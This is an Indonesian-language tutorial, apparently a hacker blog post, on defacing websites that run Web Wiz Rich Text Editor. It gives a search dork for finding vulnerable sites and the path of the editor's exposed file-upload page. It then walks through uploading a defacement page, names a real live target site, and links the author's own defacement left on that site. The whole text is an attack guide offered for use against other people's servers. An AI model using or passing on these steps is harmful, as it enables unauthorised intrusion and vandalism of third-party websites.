Deface Web Wiz Rich Text Editor

Hai , apa kabar kalian semua ? tentunya baik-baik aja kan , kali ini gua akan share Deface Web Wiz Rich Text Editor

Ikuti step by step nya

Dork:

Powered by Web Wiz Rich Text Editor”
INURL:/my_documents/my_files/

Exploit nya

www.site.com/path/RTE_popup_file_atch.asp

Live Target : www.zzjz-sibenik.hr


http://www.zzjz-sibenik.hr/inews/admin/rte/my_documents/my_files/14BA2_redwarriors1.html 

Dah di duluin sama pemain lama :v

kita masukan exploitnya jadi http://www.zzjz-sibenik.hr/inews/admin/rte/RTE_popup_file_atch.asp 
pokok nya di belakang  /my_documents/ :p

nanti akan muncul tempat uploadannya

masukin SC depesan lu , klo sudah klik Upload

tunggu bebrapa saat, klo ada tulisan ke gini , klik OK saja

kalau sudah ke upload nanti muncul tempt hasil pepesan kt :v , ini hasil gua :p

copy link itu , dan hapus exploit tadi yang ini RTE_popup_file_atch.asp , < hapus itu trus ganti sama hasil punya lu

ini hasil gua : http://www.zzjz-sibenik.hr/inews/admin/rte/my_documents/my_files/49784_cowo.html

Sekian & semoga bermanfaat.